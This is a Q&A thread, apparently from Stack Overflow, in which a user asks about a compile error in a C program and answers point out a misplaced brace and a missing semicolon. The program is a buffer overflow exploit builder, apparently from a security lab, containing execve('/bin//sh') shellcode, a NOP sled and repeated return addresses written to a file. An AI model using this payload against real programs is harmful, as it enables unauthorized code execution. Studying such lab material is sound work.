0

When I try to compile the following code I keep getting an error: expected declaration or statement at end of input. I realize this is usually because a bracket was missed but I can't seem to find it. I'm hoping another pair of eyes can spot the error I've been staring at it for some time now.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';    

/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}
clifgray
  • 4,313
  • 11
  • 67
  • 116

3 Answers3

7

Problem is in this snippet

for(i = 486;i < codeSize + 486;++i)
{
    buffer[i] = shellcode[i-486];
{                                 // Here is the problem
buffer[buffSize - 1] = '\0';  

Change last { to }.

haccks
  • 104,019
  • 25
  • 176
  • 264
3

You forgot the terminating semicolon after the initialization of your shellcode array.

2

This solution not directly answers the question, sorry. But it is much better =)

Ok, solution is to use an IDE. See:

(obviously, most C++ IDEs supports C)

Just try out some of them, pick your favorite, and you will never need to ask SO-guys to fix syntax errors (they quickly go mad of this).

My fav is Visual Studio + Visual Assist, no any IDE even close, regarding to code typing. But it is windows only and crappy cl.exe or Intel compiler =((

For linux, KDevelop has the best code typing helpers among all linux IDEs, in my opinion.

Happy coding!

Community
  • 1
  • 1
Ivan Aksamentov - Drop
  • 12,860
  • 3
  • 34
  • 61
  • 1
    Just run it through gnu `indent`. The formatting will tell you what you need to know. – Jamie Jul 30 '15 at 02:39